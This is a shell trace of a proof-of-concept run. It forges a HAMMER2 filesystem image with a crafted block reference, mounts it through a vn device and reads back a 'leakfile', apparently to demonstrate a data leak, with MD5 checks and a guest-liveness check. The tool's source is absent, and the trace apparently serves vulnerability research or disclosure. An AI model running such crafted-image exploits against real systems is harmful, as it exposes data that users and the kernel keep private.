+ timeout 10 umount -f /mnt/h2
+ dmsetup remove_all
+ vnconfig -u vn0
+ /root/poc/forge2663 /root/poc/base.img /root/poc/leak.img 0xC000010 0x00 0
DATA bref @0x1800200 -> data_off=000000000c000010 methods=00
check@0x1800a40 (block 0x1800000) = b655f10c6498c9d7
check@0x1800e40 (block 0x1800800) = 057db007bcba4063
check@0x240 (block 0x1800c00) = 24e8dfb085d30be0
verify 0x1800000: b655f10c6498c9d7 (stored b655f10c6498c9d7)
wrote /root/poc/leak.img
+ vnconfig -c vn0 /root/poc/leak.img
+ /root/poc/diocgtest /dev/vn0
/dev/vn0: DIOCGPART OK media_size=0x10008000 blksize=512
+ truncate -s 201326592 /root/poc/leak.img
+ /root/poc/diocgtest /dev/vn0
/dev/vn0: DIOCGPART OK media_size=0x10008000 blksize=512
+ mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
+ echo 'MOUNT_RC=0'
MOUNT_RC=0
+ ls -l /mnt/h2
total 128
-rw-r--r--  1 root  wheel  65536 Aug 30 07:52 leakfile
+ timeout 20 cat /mnt/h2/leakfile
+ echo 'READ_RC=0'
READ_RC=0
+ ls -l /root/poc/leak1.bin
-rw-r--r--  1 root  wheel  65536 Aug 30 07:55 /root/poc/leak1.bin
+ md5 /root/poc/leak1.bin /root/poc/rand64 /root/poc/base.img
MD5 (/root/poc/leak1.bin) = 6851904bc3366435329f8a57555da346
MD5 (/root/poc/rand64) = c19119d814a3c5158a5b92f7aa7ce872
MD5 (/root/poc/base.img) = b621e86d2167dbfe957c8edc8cb48a67
+ dd 'if=/root/poc/leak1.bin' 'bs=65536' 'count=1'
+ md5
6851904bc3366435329f8a57555da346
+ echo '--- guest still alive:'
--- guest still alive:
+ uptime
 7:55AM  up 7 mins, 0 users, load averages: 0.07, 0.04, 0.01
+ echo LEAKRUN_DONE
LEAKRUN_DONE